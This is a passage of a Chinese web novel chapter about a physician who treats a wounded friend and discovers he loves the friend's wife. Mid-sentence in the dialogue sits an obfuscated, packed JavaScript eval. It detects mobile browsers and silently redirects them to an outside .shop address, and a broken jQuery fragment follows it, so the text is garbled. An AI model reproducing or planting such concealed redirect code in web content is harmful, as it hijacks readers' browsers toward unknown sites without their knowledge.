“江初阳,你不是还在九溪泽吗?”
袁青云虽是吃惊中带着疑惑,她一愣,低下头看着脸色苍白的赵月白,站起身来退在一侧,语气中带了一点恳求,“大夫,他中箭受伤了,现在昏迷不醒。”
来人正是背着药箱的江初阳,生得浓眉大眼,身上着装不再是藏青色侗布头帕,百鸟卉衣服饰,反而是入乡随俗,穿着北苍特质狐裘大衣,一身贵气尽显。
他徐徐走到床榻,观望着躺在床榻昏迷不醒的男子,蹙眉凝思,将药箱搁置桌面,从中拿了两个琉璃瓶子,其中一个装了白酒,另一个装了止血止痛药粉。
“赵月白,他不应该在京都陪他的夫人吗?怎么跑到北苍地域?”
江初阳虽是低声浅说,袁青云还是听到了说话内容,双眸微阔,眼底一抹流光划过,回想着宋绵绵与江初阳是师兄妹关系,如此说来,江初阳之前在星河小镇拜圣手神医为师傅学得精湛医术时,赵月白又与宋绵绵是表兄妹关系,那江初阳和赵月白两人认识是很正常的事情。
她挑着眉头,略显尴尬:“我……我就是月白在康都的夫人。”双手交叠放在怀中,站在一旁杵着,等候江初阳的诊断结果。
凝神把脉的江初阳微微颔首,听完袁青云的交代,温厚清醇般的眼眸,一瞬黯然失色,搭在赵月白脉搏的手指愣怔原处,感受不到上面传来的清晰跳动,只是自己心口突兀急速下降的失落感油然而生,仿佛一瞬从晴空万里转变为乌云密布。
赵月白虽是派人给他送去请帖,可当时的他忙于诊治西畴国间一场瘟疫给百姓带来的天灾,抽不开身,只是送去厚礼,再说了康国与西畴路程遥遥,山高路远,流水沼沼,便推辞打小一起玩耍的好友。
竟没成想到前些日子从天上落下的女子便是他赵月白的结发妻子,当时的他,并不知晓,在照顾女子的朝夕相处中,逐渐产生好感,却是不敢面对自己的内心潜藏起来的想法。
当女子离去,江初阳提起荷锄,对望群山遥远距离的袁青云走远的身影,这才明白过来,他,好像,喜欢上她了。
为了直面自己的内心时间,他挣扎半天,在阿妹的鼓舞下,终于收拾行李,朝着北苍地界寻来,只为了回答自己心中的那个问话。
现在一切已然有了结果,他竟然喜欢上了好友的结发妻子,真真是失德之人,愧对以往二十四年的仁义礼智信规训教导。
“怎么样了?江医师,月白病况如何?”
袁青云半晌见江初阳一动不动,面容阴冷下来,以为赵月白伤势过重,眉头紧蹙,心上紧绷起来。
“呃……没事,月白没事。”
反应过来的江初阳侧眸回了袁青云的问话,眼底却是凝结了一层薄薄的冷清水雾,携带着一股森森凉薄失意,语气蔫蔫,“月白……月白没事,敷上特质的伤药,休息个三五日,伤口结痂后,便无大碍。”
他从药箱里找出一瓶膏药,用木勺剜了纯白中带着灰黑颗粒药膏擦在赵月白结实的胸膛,而后,麻利绑上绷带。
一旁守候的黄金垂眸嘟嘴,左手环在胸口,右手肘搭在左手掌心,用整个右手手掌支撑着右脸颊,蹙眉抿唇,一脸疑惑,“现在看来,公子伤势并无大碍,可这江医师,貌似心里难过得很,藏着心事一般,定是为了我们公子受伤伤心!”
身侧的颜玉眨巴两下狭长的睫毛,拧起眉梢,侧头看去言之凿凿的黄金,轻扯一侧嘴角,满脸困惑,丝毫不太认同他的说法,但又找不到反驳的理由。
黄金感触到在旁颜玉投来的炽热眼神,裂开嘴笑将起来,稍显尴尬,“难道我说得不对吗?”
颜玉满脸嫌弃,摇了摇头,不再理睬黄金的八卦之魂,出门而去。
不死心的黄金瞅了一眼床榻周围有着医术精湛的江初阳和一脸担忧的袁青云,想着有两人守候在公子身边,便追逐颜玉身影,房间里就留有其余三人。
“青……你,不用太过惴惴不安,月白兄的伤势已无大碍。”
涂好药膏,包扎好绷带的江初阳抬眸便见着袁青云受怕担惊的可怜模样,张口安慰。
在这瞬间,他看着袁青云忧心如焚,愁思满面,她的整颗心都放在赵月白的身上,他明白过来,他只是局外人而已,还是未入局的局外人,豁然开悟。
他释然般轻扯嘴角,与袁青云嘱咐注意事项,提着药箱,出门而去。
四四方方的庭院路下起了淅淅沥沥的细雨,微风拂面,江初阳扭头看去身后的袁青云,坐在床榻边缘,双手捏了捏赵月白的被子,将他的手放进温暖的被窝里,同时她的双手未抽离出暖和的被窝,显然,她牵着他的手,她心系着他的心,并未剥离过。
想来在晨曦医馆里发生的一切,都是他的南柯一梦,水中捉月,终是大梦一场。
他踏在湿漉漉石板,顾不得从天而降的缠绵细雨,任由他们一针针扎在自己的身上,往外寻去自己的客栈。
“诶……江医师,下雨了,伞!”
黄金靠在一侧梁柱,瞧见江初阳往雨里钻着,面无表情,色若死灰,他急匆匆从笼屉里抽出一把油纸伞,跑着递给江初阳伞具。
哪知江初阳只是摆摆手,拒绝黄金递来的油纸伞,淋着雨走出大门,雨中传来模糊音质,“明天这个时候我会过来给月白兄上药。”
赶来的颜玉为黄金撑着伞,两人一同眺望远行的江初阳,他张嘴淡淡语气,“淋场雨就没事了吧?”
“真没事?”
“大男人何惧如此,一点毛毛雨而已。”
哪知黄金话还没说完,乌黑的云朵高高悬挂苍穹,少顷时分,瓢泼大雨裹挟着雷鸣电闪,整个世界,一片漆黑。
“我的天呐,无心之言,江医师这样淋着大雨出门可不行。”
他眼底隐隐约约飘出一抹愁绪,侧眸对视身旁的颜玉,得到他肯定的点头,很快颜玉手中撑着的油纸伞便交付在他手头。
黄金沿着江初阳出门踪迹,拿着伞追寻江初阳而去。
索性江初阳并未走远,黄金没几步便追着他的身影,将另一把伞撑开放在他的头上。
“江医师,你衣裳都湿透了,要不还是和我一同回去,不嫌弃的话,换了我的一身干净衣服再走也不迟,况且,这雨下得如此狠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14235384|145691||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烈。”
江初阳抬眸看去黄金,脸上横流着涮涮的雨水,尤其是眼角,肆意着透明的痕迹。
他轻扯嘴角,接过黄金掌心握着的油纸伞,“我就快到了,放心,我明天一定准时到达,给月白兄诊治上药。”
他不等黄金回话,兀自举着伞离去。
“我……我不是这个意思!”
黄金眉头拧成八字,眺望着举伞离去的单薄身影,雨水沿着伞骨簌簌而下,形成雨帘。
他默默注视江初阳远去的萧条背影,内心五味杂陈。
雨水顺着窗扉往下滴落,蹿起一条条透明无色珠帘。
袁青云扭头看去,方才发现门外下起了滂沱大雨,这才回想起来江初阳给赵月白出诊,身上并未带着伞具。
她把手从被窝里抽离出来,给赵月白捻捻被子,深深注视一眼床榻上安详入睡的人来,转身走出房间,正巧遇上关闭油纸伞的黄金颜玉两人,咬了咬下唇,张嘴询问:“江医师这就回去了?”
下意识抬眸看去一片乌蒙蒙的天空,指着淋漓的大雨,眉眼间似乎夹杂着一层忧思。
颜玉看出来袁青云眼中的顾虑,与黄金四目相对,回复道:“伞已送到手中。”
“少夫人不必过度担忧,我追着过去给江医师送了伞具,他也不会淋湿到哪个地步。”
毕竟他已然淋湿身上的衣衫,好心邀请他回来换一身洁净衣服等雨小些再离开也不迟,可惜,人家并未领情,黄金无奈摇头。
“是吗?原来他带着伞出门了,是我多心了。”
袁青云说出这般话语,口上是释然一般,心上却是涂上一层阴翳。
“对了,江医师说了明天这个时间还会给公子上药。”
黄金回忆着刚刚江初阳说过的话语,重复一遍给袁青云,还望她不要忧愁过度。
终归他的公子和少夫人才团聚不久,公子忽然受了重伤,他自是不愿两人难过。
“是吗,那便好。”
袁青云了然,便回了房间,守候在赵月白的身旁。
在晨曦医馆,还是多亏了江初阳的悉心照料,不然她也不会痊愈得如此迅速。
两人虽有肌肤接触,但那是为了诊治。
然而袁青云还是萌动心口,为着江初阳的小心翼翼所萌动。
只是,她早已嫁作人妇,她已是赵月白契约妻子,她还有大仇未报,那萌芽便被掐在厚实土壤,一蹶不振。
后来,她果真和赵月白有了夫妻之实,虽是梦中牵引,却是心中所想,并成实践。
她成了赵月白的妻,心中再无能有其他人来占据位置,那处,也只能他来侵占。
袁青云含情脉脉看着床榻上卧着脸色苍白孱弱的赵月白,伸手摊开,掌心完全覆在他的一侧脸颊,嘴里喃喃自语:“赵月白,怎么办呢,我的心里,现在只能装得下你了!”
可袁青云并不知晓,此刻的赵月白早已清醒,艰难地睁开眼皮,在那瞬间,便听见枕边人的诚心自白,索性安详保持闭着眼眸,感受着脸颊传来的温热与柔情。
青云,我终于等到你了!